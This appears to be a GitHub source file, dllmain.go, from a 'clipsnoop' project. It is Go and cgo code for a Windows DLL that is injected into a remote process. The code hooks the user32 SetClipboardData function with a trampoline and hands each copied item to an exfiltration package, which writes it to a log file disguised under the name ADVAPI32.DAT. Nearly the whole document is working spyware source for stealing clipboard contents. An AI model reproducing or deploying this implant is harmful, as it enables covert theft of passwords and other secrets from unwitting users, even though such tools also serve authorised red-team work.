-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathdllmain.go
66 lines (58 loc) · 1.69 KB
/
dllmain.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
//go:build windows
// +build windows
// A DLL that can be used to snoop on clipboard text in a remote process by performing DLL process injection
package main
/*
extern void goClipboardPayload(unsigned int, void*);
typedef void* SETCLIPBOARDDATA(unsigned int, void*);
SETCLIPBOARDDATA *trampoline = 0;
void* SetClipboardDataGateway(unsigned int uFormat, void* hMem)
{
goClipboardPayload(uFormat,hMem);
return trampoline(uFormat, hMem);
}
*/
import "C"
import (
"unsafe"
"github.com/stavinski/clipsnoop/exfil"
"github.com/stavinski/winhook"
"golang.org/x/sys/windows"
)
// variables can be overwridden at compile time
var (
debug = "false"
logpath = "c:\\users\\public\\documents\\ADVAPI32.DAT"
)
// get the name of the process
func procName() (string, error) {
exeName := make([]uint16, 1024)
execNameLen := uint32(len(exeName))
if err := windows.QueryFullProcessImageName(windows.CurrentProcess(), 0, &exeName[0], &execNameLen); err != nil {
return "", err
}
return windows.UTF16ToString(exeName), nil
}
// called when DLL loaded into process
func init() {
modUser32 := windows.NewLazySystemDLL("user32.dll")
procSetClipboardData := modUser32.NewProc("SetClipboardData")
if debug == "true" {
winhook.DebugEnabled = true
}
trampolineFunc, err := winhook.InstallHook64(procSetClipboardData.Addr(), uintptr(unsafe.Pointer(C.SetClipboardDataGateway)), 5)
if err != nil {
return
}
C.trampoline = (*C.SETCLIPBOARDDATA)(unsafe.Pointer(trampolineFunc))
target, err := procName()
if err != nil {
// if we can't get the proc name just continue with unknown
target = "UNKNOWN"
}
// all went well setup exfil, setup the log file path
exfil.Initialize(target, logpath)
}
func main() {
//no-op
}